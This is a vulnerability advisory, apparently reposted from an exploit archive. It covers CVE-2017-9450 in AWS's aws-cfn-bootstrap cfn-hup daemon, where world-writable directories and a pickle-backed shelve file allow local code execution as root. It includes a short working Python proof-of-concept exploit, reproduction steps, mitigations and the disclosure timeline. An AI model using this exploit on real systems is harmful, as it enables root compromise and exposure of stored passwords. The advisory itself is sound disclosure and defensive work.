aws-cfn-bootstrap Local Code Execution Vulnerability

aws-cfn-bootstrap local code execution as root
==============================================

The latest version of this advisory is available at:
https://sintonen.fi/advisories/aws-cfn-bootstrap-local-code-execution-as-root.txt


Overview
--------

AWS EC2 instances deployed with the AWS CloudFormation bootstrap contain a vulnerable
daemon that enables an attacker to execute arbitrary code as root.


Description
-----------

The aws-cfn-bootstrap `cfn-hup` daemon contains a local code execution vulnerability.
A non-privileged attacker with the capability to write files (either locally or
remotely) can write a specially crafted file which will result in arbitrary code
execution as root.


Impact
------

The non-privileged attacker is able to execute arbitrary commands as the administrative
user (root). This leads to complete loss of confidentiality, integrity and availability.


Details
-------

The discovered vulnerability, described in more detail below, enables multiple
independent attacks described here in brief:


Local Arbitrary Code Execution As Root
--------------------------------------

A local user can overwrite or replace a file with a specially crafted contents
that results in a code execution as root.

The code execution is limited to local users, unless a remotely accessible
service contains an arbitrary file write vulnerability in which case the combined
result is a remote code execution as root.


Information Leak
----------------

A local user can read the metadata_db file. This file typically contains cleartext
passwords and other similar confidential information.

The confidential data is exposed to local users, but if a remotely accessible service
contains an arbitrary file read vulnerability in which case the information is obviously
exposed to external attackers as well.


[CVE-2017-9450] Incorrect Permission Assignment for Critical Resource (CWE-732)
-------------------------------------------------------------------------------

The `cfn-hup` daemon of the `aws-cfn-bootstrap` package is running with umask 0. This
happens because /opt/aws/bin/cfn-hup does not set a secure umask for the `DaemonContext`
class of the `python-daemon` package:

     with daemon.DaemonContext(pidfile=pidlockfile.TimeoutPIDLockFile('/var/run/cfn-hup.pid', 300),
                               signal_map={signal.SIGTERM : kill}):

The `python-daemon` package defaults to a umask of 0 as seen in
https://pagure.io/python-daemon/blob/master/f/daemon/daemon.py :

         `umask`

             :Default: ``0``

             File access creation mask ("umask") to set for the process on
             daemon start.

             A daemon should not rely on the parent process's umask value,
             which is beyond its control and may prevent creating a file with
             the required access mode. So when the daemon context opens, the
             umask is set to an explicit known value.

             If the conventional value of 0 is too open, consider setting a
             value such as 0o022, 0o027, 0o077, or another specific value.
             Otherwise, ensure the daemon creates every file with an
             explicit access mode for the purpose.

Any file or directory created by the daemon will thus use the mask as specified
by the `mkdir` or `open` functions.

The code in /usr/lib/python2.7/dist-packages/cfnbootstrap/update_hooks.py does the
following:

     def _create_storage_dir(self):
         if os.name == 'nt':
             self.storage_dir = os.path.expandvars(r'${SystemDrive}\cfn\cfn-hup\data')
         else:
             self.storage_dir = '/var/lib/cfn-hup/data'
         if not os.path.isdir(self.storage_dir):
             log.debug("Creating %s", self.storage_dir)
             try:
                 os.makedirs(self.storage_dir)

Since `os.makedirs` defaults to mode 777 the resulting directories /var/lib/cfn-hup and
/var/lib/cfn-hup/data will have permissions 777 (`rwxrwxrwx`), that is, the directories
are world-writable.

The CFN hook processing code reads the file `metadata_db` with the Python `shelve`
module:

     def process(self):
         with contextlib.closing(shelve.open('%s/metadata_db' % self.dir)) as shelf:
             self._resource_cache = {}
             for hook in self.hooks:
                 try:
                     self._process_hook(hook, shelf)

And:

     def _process_hook(self, hook, shelf):
         try:
             new_data = self._retrieve_path_data(hook.path)
         except InFlightStatusError:
             return

         old_data = shelf.get(hook.name + "|" + hook.path, None)

The `shelve` module comes with a fat warning about possible arbitrary code execution:

> Warning: Because the shelve module is backed by pickle, it is insecure to load a
shelf from an untrusted source. Like with pickle, loading a shelf can execute
arbitrary code.

Since any user can write to the /var/lib/cfn-hup/data/metadata_db file and the
`cfn-hup` daemon is running as root, any user can execute arbitrary commands as
root.

A proof of concept exploit:

     #!/usr/bin/env python
     import os
     import shelve

     class E(object):
         def __reduce__(self):
             return (os.system, ('id >/pwned',))

     s = shelve.open('/var/lib/cfn-hup/data/metadata_db')
     for k in s.keys():
         s[k] = E()
     s.close()

The vulnerable code is executed every 15 minutes. So by average it takes 450
seconds for the exploit to get triggered. The exploit is also executed when
the daemon is started (for example at system boot).


Reproducing
-----------

1. Sign in to AWS.
2. From AWS Console "Management Tools" select "CloudFormation".
3. Select "Create Stack".
4. Select eg. the template "LAMP Stack".
5. Fill the relevant fields. Note to select the EC2 keypair to use for access.
6. Leave other options as-is.
7. Click "Create".
8. Once running, ssh to the box with the EC2 keypair as `ec2-user`.
9. Upload the PoC to the host and execute it.
10. Wait at most 15 minutes for the /pwned file to appear.


Vulnerable instances
--------------------

Any AWS EC2 instances that has been deployed with a CloudFormation template that
has the aws-cfn-bootstrap package 1.4-15.9.amzn1 and at least one hook included
(for example `cfn-auto-reloader-hook`). This includes, but is not limited to, the AWS
CloudFormation default LAMP, Rails and WordPress templates.

Hooks with the `on.command` trigger don't result in code execution. Some earlier
versions of aws-cfn-bootstrap might have also had such vulnerability for
`on.command` triggers, as well.

The history of this vulnerability and affected package versions are unclear, but the
vulnerability is believed to have existed at least since 2011. As such the number of
vulnerable systems could be high.


Recommendations to vendor
-------------------------

1. In aws-cfn-bootstrap `cfn-hup` command set the `DaemonContext` umask to 077.
2. For existing installations, run `chmod -R go-rwx /var/lib/cfn-hup` as root.


End user mitigation
-------------------

1. Upgrade aws-cfn-bootstrap to 1.4-22.14.amzn1 or or later
2. chmod -R go-rwx /var/lib/cfn-hup


Credits
-------

This vulnerability was discovered by Harry Sintonen / F-Secure Corporation.


Timeline
--------

05.04.2017  spotted the 'rwxrwxrwx' directories, suspected a vulnerability
08.04.2017  found a way to exploit the vulnerability, wrote the PoC exploit
08.04.2017  wrote a preliminary advisory
19.04.2017  minor adjustments
03.05.2017  some fixes and clarifications
03.05.2017  reported to [email protected]
04.05.2017  received response from the aws security team
12.05.2017  requested status of the issue
18.05.2017  requested status of the issue
25.05.2017  requested status of the issue
25.05.2017  received response: "appropriate actions are being taken"
01.06.2017  requested status of the issue
06.06.2017  received a response: "a fix has been is built, and will be
             deployed in the coming couple of weeks."
06.06.2017  requested CVE from MITRE
06.06.2017  MITRE assigned CVE-2017-9450
13.06.2017  forwarded the CVE number to [email protected]
26.07.2017  AWS released a fix as ALAS-2017-861 -
             https://alas.aws.amazon.com/ALAS-2017-861.html
26.07.2017  notified AWS security about the incomplete fix: umask is
             still 0, leading to RCE as root via other vectors. sent a
             new proof of concept exploit utilizing such new vector
04.08.2017  AWS released an updated ALAS-2017-861 fix, fixing the
             vulnerability. the daemon umask is still 0 resulting in
             potential information disclosure or code execution vulns
14.09.2017  AWS released a fix to the umask issue as ALAS-2017-895 -
             https://alas.aws.amazon.com/ALAS-2017-895.html
29.11.2017  public release of the advisory

#  0day.today [2018-03-01]  #